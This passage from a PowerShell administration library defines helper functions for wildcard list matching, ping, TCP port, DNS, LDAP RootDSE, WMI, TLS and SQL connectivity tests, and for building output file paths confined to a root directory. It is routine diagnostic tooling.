            $valNameList = $valName
            $valNameValue = $valName
          }

          $oneMatches = $oneMatches -and ($one.$valNameList -eq $value.$valNameValue)

          if (-not $oneMatches) { break }
        }

        if ($oneMatches) { 
        
          $contains = $true
          break
        }
      }
    }
  }

  return $contains
}


# Note: do not forget to SYNC this with path-exclusions-lib.ps1
function global:IsContained-AmongWildcard ([object[]] $listOfWildcards, [string] $value)
{
  [bool] $found = $false

  foreach ($oneWildcard in $listOfWildcards) {

    if ($value -like $oneWildcard) {

      $found = $true
      break
    }
  }

  return $found
}


function global:Contains-SafeWildcard ([System.Collections.ArrayList] $list, [object] $value, [string[]] $memberNames)
{
  # Note: stupid behavior in case of KeyCollection and possibly others
  #if ($list.Count -eq 1) { if ($PSVersionTable['PSversion'].Major -gt 2) { DBGIF ('{0}: Possibly incorrect function parameter refilling: {1}' -f $MyInvocation.MyCommand.Name, $list[0].GetType().Name) { $list[0] -is [Collections.IEnumerable] } } else { DBGIF ('{0}: Possibly incorrect function parameter refilling: {1}' -f $MyInvocation.MyCommand.Name, $list[0].GetType().Name) { $list[0].GetType().Name -eq 'KeyCollection' } } }


  [bool] $contains = $false

  if (Is-NonNull $list) {

    if ((Is-Null $memberNames) -or ($memberNames.Count -eq 0)) {

      foreach ($one in $list) {

        if ($one -like $value) { 
      
          $contains = $true
          break
        }
      }
   
    } elseif ($memberNames.Count -eq 1) {

      $valName = $memberNames[0]
      foreach ($one in $list) {

        if ($one.$valName -like $value) {

          $contains = $true
          break
        }
      }

    } elseif ($memberNames.Count -gt 1) {

      foreach ($one in $list) {

        $oneMatches = $true

        foreach ($valName in $memberNames) {

          if ($valName.Contains('>')) {

            $valNameList = $valName.Split('>')[1]
            $valNameValue = $valName.Split('>')[0]

          } else {

            $valNameList = $valName
            $valNameValue = $valName
          }

          $oneMatches = $oneMatches -and ($one.$valNameList -eq $value.$valNameValue)

          if (-not $oneMatches) { break }
        }

        if ($oneMatches) { break }
      }
    }
  }

  return $contains
}


function global:Get-CountSafe ([object] $objOrArray)
{
  [int] $count = 0
  
  if (Is-NonNull $objOrArray) {

    if (Is-Array $objOrArray) {

      $count = $objOrArray.Count
    }
    
    else {
    
      #$count = 1
      # Note: rather be on the safe side
      foreach ($oneObj in $objOrArray) { $count ++ }
      
      # Note: interestingly enough, for example when enumerating Members() of WinNT://./Administrators,group
      #       the result is actually a single __ComObject, which can be iterated through with foreach
      #       but it does not have .Count member and I didn't find any other way how to determine it is
      #       really a foreach-able array instead of a single object, than actually performing the foreach cycle
      #       itself
      #
      #       Another known case would be (Get-SPFarm).Products which also generates this alert
      #
      DBGIF ('{0} : Incorrect type of non-array: {1}' -f $MyInvocation.MyCommand.Name, ($objOrArray.GetType().Name)) { ($count -gt 1) -and ($objOrArray.GetType().Name -ne '__ComObject') } 
    }
  }
  
  return $count
}


function global:Import-Depends ([string[]] $depends)
{
  DBG ('{0}, loading {1} depends' -f $MyInvocation.MyCommand.Name, $depends.Count)
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $depends }
  DBGIF $MyInvocation.MyCommand.Name { $depends.Count -le 0 }

  foreach ($oneDepend in $depends) {
  
    $depend = $null
    
    $dependFile = Get-DataFileApp $oneDepend
    DBG ('{0}, loading depend: {1}' -f $MyInvocation.MyCommand.Name, $dependFile)
    
    $depend = Import-CSV $dependFile -EV er -EA SilentlyContinue | Select-Object -Last 1
    DBGER $MyInvocation.MyCommand.Name $er

    if (Is-Null $depend) { DBG "Exiting, initialization failed." ; exit }
    
    if (Is-NonNull (Get-Variable $oneDepend -ea SilentlyContinue)) {
    
      DBG ('{0}, existing variable: {1}' -f $MyInvocation.MyCommand.Name, $oneDepend)
      Set-Variable -Name $oneDepend -Value $depend -Scope global -EV er -EA SilentlyContinue
      DBGER $MyInvocation.MyCommand.Name $er
    
    } else {
    
      DBG ('{0}, new variable: {1}' -f $MyInvocation.MyCommand.Name, $oneDepend)
      New-Variable -Name $oneDepend -Value $depend -Scope global -EV er -EA SilentlyContinue
      DBGER $MyInvocation.MyCommand.Name $er
    }
  }
}


function global:Get-PingRemoteResponseTime ([string] $serverFQDN, [string] $address)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $address }

  [string] $responseTime = ''

  if ((Is-ValidString $address) -and (Is-ValidString $serverFQDN) -and ($fqdn -ne $invalidFQDN)) {
  
    $query = "SELECT ResponseTime FROM Win32_PingStatus WHERE Address = '$address' AND Timeout = $pingTimeout"
    DBG ("Ping with WMI query: {0}" -f $query)
  
    DBGSTART
    $responseTime = (Get-WmiObject -ComputerName $serverFQDN -Query $query -EV er -EA SilentlyContinue).ResponseTime
    DBGER $MyInvocation.MyCommand.Name $er ; DBG "Ping $address (ms): $responseTime"
    DBGEND
  }
  
  return $responseTime
}

function global:Test-Ping ([string] $address)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $address }
  DBGIF $MyInvocation.MyCommand.Name { ($address -notmatch $global:rxFqdn) -and ($address -notmatch $global:rxIPv4) -and (-not (Is-IPv4OrIPv6Address $address)) }

  [bool] $status = $false

  if (Is-ValidString $address) {
  
    DBGSTART
    $statusCode = (Get-WmiObject -Query "SELECT * FROM Win32_PingStatus WHERE Address = '$address' AND Timeout = $pingTimeout").StatusCode
    $status = $statusCode -eq 0
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBG "Ping results: $address | $status | $statusCode"
  }
  
  return $status
}

function global:Test-Port ([string] $address, [int] $port, [ref] $endpoints)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $address }
  DBGIF $MyInvocation.MyCommand.Name { ($address -notmatch $global:rxFqdn) -and ($address -notmatch $global:rxIPv4) -and (-not (Is-IPv4OrIPv6Address $address)) }
  
  [bool] $status = $false

  if (Is-ValidString $address) {
  
    DBGSTART
    $client = $null
    $client = New-Object System.Net.Sockets.TcpClient
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBGIF $MyInvocation.MyCommand.Name { Is-Null $client }
    
    if (Is-NonNull $client) {

      DBG ('TCP port test: {0} | {1}' -f $address, $port)
    
      $connectStartTime = [DateTime]::Now
      DBGSTART
      $waiter = $null
      $waiter = $client.BeginConnect($address, $port, $null, $null)
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBGIF $MyInvocation.MyCommand.Name { Is-Null $waiter }

      if (Is-NonNull $waiter) {
      
        DBGSTART
        $finished = $waiter.AsyncWaitHandle.WaitOne($global:tcpPortTimeout, $false)
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
        $connectEndTime = [DateTime]::Now
        $timeTaken = ($connectEndTime - $connectStartTime).TotalMilliseconds
        
        if ($finished -and $client.Connected) {
        
          # when a local firewall blocks the outbount connection, the $finished is immediatelly $true
          # but the $client.Connected is not connected
          DBG ('TCP port test: connected after {0:N1}ms | local = {1} | remote = {2}' -f $timeTaken, $client.Client.LocalEndpoint.ToString(), $client.Client.RemoteEndPoint.ToString())
          
          $status = $true
        
          if (Is-NonNull $endpoints) {

            $endpointInfo = New-Object PSObject
            Add-Member -Input $endpointInfo -MemberType NoteProperty -Name localIP -Value $client.Client.LocalEndPoint.Address.IPAddressToString
            Add-Member -Input $endpointInfo -MemberType NoteProperty -Name localPort -Value $client.Client.LocalEndPoint.Port
            Add-Member -Input $endpointInfo -MemberType NoteProperty -Name remoteIP -Value $client.Client.RemoteEndPoint.Address.IPAddressToString
            Add-Member -Input $endpointInfo -MemberType NoteProperty -Name remotePort -Value $client.Client.RemoteEndPoint.Port

            $endpoints.Value = $endpointInfo
          }

        } else {

          if ($timeTaken -lt $global:tcpPortTimeout) {

            DBG ('TCP port test: error after {0:N1}ms' -f $timeTaken)

          } else {

            DBG ('TCP port test: timeout after {0:N1}ms' -f $timeTaken)
          }
          
          # just ignore any errors (such as when a local firewall blocks the outbount connection)
          # why to wait for the EndConnect to succeed sending FINs?
          #DBGSTART
          #[void] $client.EndConnect($waiter)
          #DBGEND

          if (Is-NonNull $endpoints) {

            $endpoints.Value = $null
          }
        }
      }

      DBGSTART
      $client.Close()
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
    }
  }
  
  return $status
}

function global:Test-Dns ([string] $address, [int] $tcpPort, [ref] $resolvedIPs4)
{
  [bool] $res = $false

  [System.Net.IPHostEntry] $resolutionResult = $null
  DBGSTART
  try { $resolutionResult = [System.Net.Dns]::GetHostEntry($address) } catch { }
  DBGEND

  $res = ($resolutionResult.AddressList.Count -gt 0)

  DBG ('Verify DNS resolution: {0} | {1} | {2}' -f $res, $address, (($resolutionResult | select -Expand AddressList | select -Expand IPAddressToString) -join ','))

  if ($res -and ($tcpPort -gt 0)) {

    foreach ($oneIPAddress in $resolutionResult.AddressList) {

      if ($oneIPAddress.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork) {

        $portRes = Test-Port $oneIPAddress.IPAddressToString $tcpPort
        DBG ('Verify TCP port on DNS address: {0} | {1} | {2} | {3}' -f $portRes, $address, $oneIPAddress.IPAddressToString, $tcpPort)
        $res = $res -and $portRes
      }
    }
  }

  if ((Is-NonNull $resolvedIPs4) -and (Is-NonNull $resolvedIPs4.Value)) {

    DBGIF $MyInvocation.MyCommand.Name { $resolvedIPs4.Value -isnot [Collections.ArrayList] }
    if ($res) {

      foreach ($oneIPAddress in $resolutionResult.AddressList) {
  
        if ($oneIPAddress.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork) {

          [void] $resolvedIPs4.Value.Add($oneIPAddress.IPAddressToString)
        }
      }

    } else {

      [void] $resolvedIPs4.Value.Clear()
    }
  }

  return $res
}

function global:Test-RootDSE ([string] $fqdn)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $fqdn }
  DBG "RootDSE test: $fqdn"

  [System.Collections.ArrayList] $deList = @()
  $rootDSE = Get-DE "$fqdn/RootDSE" ([ref] $deList)

  $status = (Is-NonNull $rootDSE)
  Dispose-List ([ref] $deList)

  DBG "RootDSE status: $status"

  return $status
}

function global:Test-WMI ([string] $fqdn)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $fqdn }
  DBG "WMI test: $fqdn"

  $basicValue = Get-WMIValue $fqdn "SELECT DomainRole FROM Win32_ComputerSystem" DomainRole
  
  if (Is-EmptyString $basicValue) { $status = $false } else { $status = $true }

  DBG "WMI status: $status"

  return $status
}


function global:Get-IPs ([string] $fqdn, [bool] $ping)
{
    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $fqdn }
  
    [string] $ipString = ''

    if (Is-ValidString $fqdn) {
      
      DBGSTART
      $resolved = $null
      # the following command resolves empty FQDN as localhost
      $resolved = [System.Net.DNS]::Resolve($fqdn)
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
    
      if (Is-NonNull $resolved) {

        DBGIF $MyInvocation.MyCommand.Name { (Is-NonNull $resolved.AddressList) -and ($resolved.AddressList.Count -le 0) }
        foreach ($oneIP in $resolved.AddressList) { 
      
          if ($ipString -ne '') { 
      
            $ipString += ', '
          }
      
          $ip = $oneIP.IPAddressToString

          DBGIF $MyInvocation.MyCommand.Name { -not (Is-IPv4OrIPv6Address $ip) }

          $ipString += $ip
      
          if ($ping) {
       
            if (Test-Ping $ip) { $ipString += " (Ping OK)" } else { $ipString += " (Ping Error)" }
          }
        }
      }
    }
    
    return $ipString
}

function global:Test-DCLive ([string] $fqdn)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $fqdn }
  
  [string[]] $states = @()
 
  if (Is-ValidString $fqdn) {
  
    if (Test-Ping $fqdn) { $states += "Ping OK" } else { $states += "Ping Error" }
  
    if (Test-Port $fqdn 389) { 
    
      $states += "TCP 389 OK"

      if (Test-RootDSE $fqdn) {
      
        $states += "RootDSE OK" 
        
        [System.Collections.ArrayList] $deList = @()
        $rootDSE = Get-DE "$fqdn/RootDSE" ([ref] $deList)

        $inSync = GDES $rootDSE isSynchronized
        Dispose-List ([ref] $deList)

        $states += "InSync $inSync"
      
      } else { 
      
        $states += "RootDSE Error"
      }
      
    } else { 
    
      $states += "TCP 389 Error"
      
    }
  }
  
  return (Format-MultiValue $states)
}


# Note: EncryptionPolicy is available with NetFx 4.0+ and we do not need it generally
#       thus removing the parameter completelly
#function global:Test-TLS ([string] $hostName, [int] $port = 443, [bool] $doNotValidateCertificate = $false, [string] $clientCertThumbprint = $null, [System.Net.Security.EncryptionPolicy] $encryption = [System.Net.Security.EncryptionPolicy]::AllowNoEncryption, [bool] $chechRevocation = $false, [System.Security.Authentication.SslProtocols] $sslProtocol = [System.Security.Authentication.SslProtocols]::Default)
function global:Test-TLS ([string] $hostName, [int] $port = 443, [bool] $doNotValidateCertificate = $false, [string] $clientCertThumbprint = $null, [bool] $chechRevocation = $false, [System.Security.Authentication.SslProtocols] $sslProtocol = [System.Security.Authentication.SslProtocols]::Default)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  [bool] $result = $false

  # [System.Net.Security.EncryptionPolicy]
  #   AllowNoEncryption
  #   NoEncryption
  #   RequireEncryption

  # [System.Net.Security.SslProtocols]
  #   Default
  #   None
  #   Ssl2
  #   Ssl3
  #   Tls
  #   Tls11
  #   Tls12

  DBG ('Going to connect to: {0} | {1}' -f $hostName, $port)
  DBGSTART
  [System.Net.Sockets.TcpClient] $client = New-Object System.Net.Sockets.TcpClient $hostName, $port
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  if (Is-NonNull $client) {

    #DBG ('Initialize SslStream object with encryption level: {0} | validateCert = {1}' -f $encryption, (-not $doNotValidateCertificate))
    DBG ('Initialize SslStream object with encryption level: validateCert = {0}' -f (-not $doNotValidateCertificate))
    DBGSTART

    [System.IO.Stream] $netStream = $client.GetStream()
    [System.Net.Security.SslStream] $sslStream = $null

    if ($doNotValidateCertificate) {

      $sslStream = New-Object System.Net.Security.SslStream $netStream, $false, ({$true} -as [Net.Security.RemoteCertificateValidationCallback]), $null #, $encryption

    } else {

      $sslStream = New-Object System.Net.Security.SslStream $netStream, $false, $null, $null #, $encryption
    }

    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    if (Is-NonNull $sslStream) {

      $clientCert = $null
       
      if (Is-ValidString $clientCertThumbprint) {

        DBG ('Open the client certificate with thumbprint: {0}' -f $clientCertThumbprint)
        DBGSTART
        $clientCert = Get-Item "Cert:\CurrentUser\My\$clientCertThumbprint"
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND

        DBGIF $MyInvocation.MyCommand.Name { Is-Null $clientCert }  
      }

      DBG ('Start SSL session: {0} | {1} | clientCert = {2} | issuedBy = {3}' -f $hostName, $chechRevocation, $clientCert.Subject, $clientCert.Issuer)
      DBGSTART
      $sslStream.AuthenticateAsClient($hostName, $clientCert, $sslProtocol, $chechRevocation)
      DBGER $MyInvocation.MyCommand.Name $error $null $true
      DBGEND

      if ($sslStream.IsAuthenticated) {

        $result = $true

        DBG ('Protocol: {0}' -f $sslStream.SslProtocol)
        DBG ('Cipher: {0} | {1}' -f $sslStream.CipherAlgorithm, $sslStream.CipherStrength)
        DBG ('Hash: {0} | {1}' -f $sslStream.HashAlgorithm, $sslStream.HashStrength)
        DBG ('Key exchange: {0} | {1}' -f $sslStream.KeyExchangeAlgorithm, $sslStream.KeyExchangeStrength)
  
        $sCer = $sslStream.RemoteCertificate

        if (Is-NonNull $sCer) {

          DBG ('Server certificate thumbprint: {0}' -f $sCer.GetCertHashString())
          DBG ('Server certificate subject: {0}' -f $sCer.Subject)
          DBG ('Server certificate issuer: {0}' -f $sCer.Issuer)
          DBG ('Server certificate not after: {0:s}' -f [DateTime]::Parse($sCer.GetExpirationDateString()))
          DBG ('Server certificate not before: {0:s}' -f [DateTime]::Parse($sCer.GetEffectiveDateString()))
  
        } else {

          DBG ('Server certificate: None')
        }

      } else {

        $result = $false
    
        DBG ('Error authenticating to the server')
      }
  
      DBG ('Close TLS session.')
      DBGSTART
      $sslStream.Close()
      $sslStream.Dispose()
      $netStream.Close()
      $netStream.Dispose()
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
    }

    
    DBG ('Close TCP connection.')
    DBGSTART
    $client.Close()
    # Note: the method is "protected"
    #$client.Dispose()
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }


  return $result
}


function global:Test-SQL ([string] $serverPlusInstance, [string] $db = 'Master', [bool] $encrypt = $true, [string[]] $columns = @('name', 'create_date'), [string] $table = 'sys.databases', [string] $useNativeClient = '')
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [bool] $testResult = $false

  if (Is-ValidString $useNativeClient) {

    [string] $oleDbProvider = ''

    switch ($useNativeClient) {
     
      { $_ -like '2005' }             { $oleDbProvider = 'SQLNCLI' }
      { $_ -like 'sqlncli' }          { $oleDbProvider = 'SQLNCLI' }
      { $_ -like '2008*' }            { $oleDbProvider = 'SQLNCLI10' }
      { $_ -like 'sqlncli10' }        { $oleDbProvider = 'SQLNCLI10' }
      { $_ -like '2012*' }            { $oleDbProvider = 'SQLNCLI11' }
      { $_ -like 'sqlncli11' }        { $oleDbProvider = 'SQLNCLI11' }
    }

    if ($encrypt) {

      $oleDbEncrypt = 'yes'
    
    } else {

      $oleDbEncrypt = 'no'
    }

    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $oleDbProvider }
    DBG ('Will use SQL native client: {0} | provider = {1} | encrypt = {2}' -f $useNativeClient, $oleDbProvider, $oleDbEncrypt)
  }

  DBG ('Going to connect to: srv = {0} | db = {1} | encrypt = {2}' -f $serverPlusInstance, $db, $encrypt)
  DBGSTART
  # ADO.NET provider:                                              Server=myServerAddress;Database=myDataBase;Integrated Security=True;Encrypt=True
  #   this is the prefered .NET provider which should be used instead of any OLEDB or ODBC
  #   OLEDB or ODBC should be used only by native code
  # OLE DB Native Client  9 Provider (2005):    Provider=SQLNCLI;Server=myServerAddress;Database=myDataBase;Trusted_Connection=yes;
  # OLE DB Native Client 10 Provider (2008):    Provider=SQLNCLI10;Server=myServerAddress;Database=myDataBase;Trusted_Connection=yes;
  #   the SQL Native Client version 2008 is version 10.0
  #   the SQL native Client version 2008 R2 is version 10.50
  #   both install SQLNCLI10.DLL into System32, thus both cannot be installed simultaneously on the same machine
  #   if you try to install 2008 version after 2008 R2 has been installed, it fails saying a newer version must be uninstalled first
  # OLE DB Native Client 11 Provider (2012):    Provider=SQLNCLI11;Server=myServerAddress;Database=myDataBase;Trusted_Connection=yes;Encrypt=yes
  #   the SQL Native Client version 2012 is version 11.0
  #   this installs SQLNCLI11.DLL into System32
  #   you can have both 2008xx and 2012 on a single machines as their .DLLs do not colide
  if (Is-ValidString $oleDbProvider) {
    
    # Note: the same thing here about OLEDB session pooling as is the case with ADO.NET connection pooling
    $connString = 'Provider={0};Server={1};Database={2};Trusted_Connection=yes;Encrypt={3};Pooling=false' -f $oleDbProvider, $serverPlusInstance, $db, $oleDbEncrypt
    DBG ('Connection string: {0}' -f $connString)
    $conn = New-Object  System.Data.OleDb.OleDbConnection $connString
  
  } else {

    # Note: connection pooling means that each new connection if established is added
    #       to an existing ADO.NET connection pool and after Close() and Dispose() methods
    #       still remains in the pool without closing the TCP connection until some timeout.
    #       Thus no logoff gets audited on the SQL server immediatelly. Also if an
    #       existing connection is found in a current ADO.NET connection pool, the TCP 
    #       connection is reused without re-authenticating and thus SQL server does not
    #       audit logon event again.
    $connString = 'Server={0};Database={1};Integrated Security=True;Encrypt={2};Pooling=false' -f $serverPlusInstance, $db, $encrypt
    DBG ('Connection string: {0}' -f $connString)
    $conn = New-Object Data.SqlClient.SqlConnection $connString
  }

  $conn.Open()
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  DBGIF $MyInvocation.MyCommand.Name { Is-Null $conn }
  DBGIF $MyInvocation.MyCommand.Name { $conn.State -ne 'Open' }
  DBGIF $MyInvocation.MyCommand.Name { $conn.Database -ne $db }

  if (Is-NonNull $conn) {

    DBG ('Server version: {0}' -f $conn.ServerVersion)

    $columnsCombined = $columns -join ', '

    DBG ('ExecuteRader to: table = {0} | columns = {1}' -f $table, $columnsCombined)
    DBGSTART
    $cmd = $conn.CreateCommand()
    $cmd.CommandText = 'SELECT {0} FROM {1}' -f $columnsCombined, $table

    $reader = $cmd.ExecuteReader()
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    # We cannot test $reader for $null because it gets enumerated
    # and closed/corrupted automatically.
    #DBGIF $MyInvocation.MyCommand.Name { Is-Null $reader }
    #if (Is-NonNull $reader) {

    DBGIF $MyInvocation.MyCommand.Name { $reader.IsClosed }
    DBGIF $MyInvocation.MyCommand.Name { $reader.FieldCount -ne $columns.Count }
    DBGIF $MyInvocation.MyCommand.Name { -not $reader.HasRows }

    if ((-not $reader.IsClosed) -and $reader.HasRows) {

      DBG ('Load the data table into memory')
      DBGSTART
      $dataTable = New-Object Data.DataTable
      $dataTable.Load($reader)
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
 
      DBG ('Database table returned: rows = {0} | top10 = {1}' -f (Get-CountSafe $dataTable.Rows), ($dataTable | Select -First 10 | Out-String))
      DBGIF $MyInvocation.MyCommand.Name { -not $dataTable.IsInitialized }
      DBGIF $MyInvocation.MyCommand.Name { $dataTable.HasErrors }
      DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe $dataTable.Rows) -le 0 }
      DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe $dataTable.Columns) -ne $columns.Count }

      if (((Get-CountSafe $dataTable.Rows) -gt 0) -and ((Get-CountSafe $dataTable.Columns) -eq $columns.Count)) {

        $testResult = $true
      }

      DBGSTART
      $reader.Close()
      DBGEND
    }

    DBGSTART
    # Note: Close() and Dispose() would not be enough if we didn't use the Pooling=false connection string
    #       setting which prevents the established TCP session from being kept in the ADO.NET/OLEDB connection pool
    $conn.Close()
    $conn.Dispose()
    DBGEND
  }

  DBG ('SQL test result: {0}' -f $testResult)
  return $testResult
}


function global:Add-Mbr ([object] $object, [string] $name, [string] $value)
{
  $object | Add-Member -Type NoteProperty -Name $name -Value $value
}

function global:Add-Mbrs ([object] $out, [object] $inp)
{
  DBGSTART

  $inp | Select-Object -Property * -ExcludeProperty RunspaceId | % { 

    $outObj = $_
    # Get-Member -InputObject $outObj -MemberType NoteProperty | ? { ($_.Name -ne 'PSComputerName') -and ($_.Name -ne 'PSShowComputerName') } | % { 
    # this is better than Get-Member, because Get-Member returns the properties in alphabetical order
    $outObj.psobject.Properties | ? { $_.MemberType -eq 'NoteProperty' } | ? { ($_.Name -ne 'PSComputerName') -and ($_.Name -ne 'PSShowComputerName') } | % {

      $prop = $_.Name
      $propVal = $outObj."$prop"
      Add-Mbr $out $prop $propVal
    }
  }

  DBGER $MyInvocation.MyCommand.Name $error  
  DBGEND
}

function global:Get-AppDir ([string] $dirName, [string] $className, [string] $appName)
{
  $fullDirName = $dirName
  
  if (Is-ValidString $className) { 
  
    $fullDirName += '-' + $className
  }

  if (Is-ValidString $appName) {
  
    $fullDirName += '-' + $appName
  }

  [string] $appDir = ''
  $appDir = [System.IO.Path]::GetFullPath([System.IO.Path]::Combine($global:outPath, $fullDirName))

  return $appDir
}


function global:Ensure-RootDirExists ([string] $path, [bool] $trimFileName)
# This function is meant as the only modificating operation in the lib-common.ps1
# so its sole purpose is to work for subpaths of the $global:rootDir
# It should be used wherever this module tries to save a file to assert the
# path is really into the rootDir and nowhere else
{
  [string] $ensurePath = ''

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $path }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $global:rootDir }
  DBGIF ('Invalid path supplied: path = {0} | rootDir = {1}' -f $path, $global:rootDir) { $path -notlike "$global:rootDir*" }

  [bool] $result = $false
     
  if ((Is-ValidString $global:rootDir) -and (Is-ValidString $path) -and (($path -eq $global:rootDir) -or ($path -like "$global:rootDir\*"))) {
  
    $ensurePath = $path

    if ($trimFileName) {

      DBGSTART
      $ensurePath = Split-Path $ensurePath -Parent
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND

      # Note: Split-Path returns $null in case the PSDrive does not exist
      DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $ensurePath }
    }

    DBGIF $MyInvocation.MyCommand.Name { $ensurePath -notlike "$global:rootDir*" }

    if (($ensurePath -ne '') -and (-not (Test-Path $ensurePath)) -and ($ensurePath -like "$global:rootDir*")) {

      DBGSTART ('Folder path does not exist, creating: {0}' -f $ensurePath)
      [void] (New-Item $ensurePath -ItemType Directory -EA SilentlyContinue)
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
    }
  }


  [bool] $rootDirIsSystem = $false
  [bool] $rootDirIsDiskRoot = $false
  [bool] $rootDirIsWindows = $false
  [bool] $rootDirIsSystem32 = $false
  [bool] $rootDirIsProgramFiles = $false
  if ([System.IO.Directory]::Exists($global:rootDir)) {

    $rootDirInfo = New-Object System.IO.DirectoryInfo $global:rootDir

    $rootDirIsSystem = $rootDirInfo.Attributes -band [IO.FileAttributes]::System
    DBGIF $MyInvocation.MyCommand.Name { $rootDirIsSystem }

    $rootDirIsDiskRoot = $global:rootDir.Length -lt 4 # c:\?
    DBGIF $MyInvocation.MyCommand.Name { $rootDirIsDiskRoot }

    $rootDirIsWindows = $global:rootDir -eq $env:windir
    DBGIF $MyInvocation.MyCommand.Name { $rootDirIsWindows }

    $rootDirIsSystem32 = $global:rootDir -eq "$env:windir\System32"
    DBGIF $MyInvocation.MyCommand.Name { $rootDirIsSystem32 }

    $rootDirIsProgramFiles = $global:rootDir -eq $env:ProgramFiles
    DBGIF $MyInvocation.MyCommand.Name { $rootDirIsProgramFiles }
  }


  $result = (Is-ValidString $global:rootDir) -and 
            (Is-ValidString $ensurePath) -and 
            (Test-Path $ensurePath) -and 
            ($ensurePath -like "$global:rootDir*") -and 
            (-not $rootDirIsSystem) -and 
            (-not $rootDirIsDiskRoot) -and 
            (-not $rootDirIsWindows) -and
            (-not $rootDirIsSystem32) -and 
            (-not $rootDirIsProgramFiles)

  if (-not $result) {

    DBG ('Error accessing rootDir: {0}' -f $global:rootDir) $global:assertColor
    DBG 'Exiting.' $global:assertColor
    throw 'Error accessing rootDir'
  }
}


function global:Get-DataFileApp ([string] $appName, [object] $itemID, [string] $extension, [bool] $randomize = $false, [bool] $doNotPrefixWithOutFile = $false, [bool] $noExtension = $false)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $global:outFile }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $global:outPath }

  [string] $fullFileName = $null

  if (-not $doNotPrefixWithOutFile) {

    $fullFileName = $global:outFile
  }
  
  #if (Is-ValidString $className) { 
  
  #  $fullFileName += '-' + $className
  #}

  if (Is-ValidString $appName) {
  
    $fullFileName += '-' + $appName
  }

  if (Is-NonNull $itemID)
  {
    $fullFileName += "-{0:D2}" -f $itemID
  }

  if ((Is-EmptyString $extension) -and (-not $noExtension)) {
  
    $extension = $outExtension
  }


  [string] $dtFile = ''

  Ensure-RootDirExists $global:outPath

  
  $fullFileName = $fullFileName.Trim('-')
  if (Is-EmptyString $fullFileName) {

    # Note: just make sure the filename is at least something
    #       in case everything else went wrong
    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $fullFileName }
    $randomize = $true
  }


  if ($randomize) {

    $i = 0

    do {

      # no matter the seed here as we will go until the file name is unique
      $possibleFileName = $fullFileName + ('-{0:X8}' -f ([int] (Get-Random -Maximum 2GB -Minimum 0)))
      $dtFile = [System.IO.Path]::GetFullPath([System.IO.Path]::Combine($global:outPath, $possibleFileName))

      if (Is-ValidString $extension) {

        $dtFile = [System.IO.Path]::ChangeExtension($dtFile, $extension)
      }

      $i ++

    } while ((Test-Path $dtFile) -and ($i -lt 2GB))

    DBGIF $MyInvocation.MyCommand.Name { $i -ge 2GB }

  } else {

    $dtFile = [System.IO.Path]::GetFullPath([System.IO.Path]::Combine($global:outPath, $fullFileName))

    if (Is-ValidString $extension) {

      $dtFile = [System.IO.Path]::ChangeExtension($dtFile, $extension)
    }

  }
  
  DBG ('Datafile to use: {0}' -f $dtFile)

  return $dtFile
}

<#
function global:Save-CSV([string] $csvFile, [object] $list)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $csvFile }  
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $list }  

  if ((Is-ValidString $csvFile) -and (Is-NonNull $list)) {

    DBG ("Saving {0} items to a file: {1}" -f $list.Count, $csvFile)

    if ($list.Count -gt 0) {
    
      [void] (New-Item -Path $csvFile -Force -ItemType File -EV er -EA SilentlyContinue)
      DBGER $MyInvocation.MyCommand.Name $er

      if ($list[0] -isnot [PSCustomObject]) {
      
        DBG ("Flat output.")
        $list | Out-File -FilePath $csvFile -Force -EV er -EA SilentlyContinue
        DBGER $MyInvocation.MyCommand.Name $er

      } else {
      
        DBG ("CSV output.")
        $list | Export-CSV -Path $csvFile -NoTypeInformation -Force -EV er -EA SilentlyContinue
        DBGER $MyInvocation.MyCommand.Name $er
      }
    }
  }
}
#>

function global:Connect-NetworkCredentials ([string] $unc, [string] $fullLogin, [string] $pwd)
{
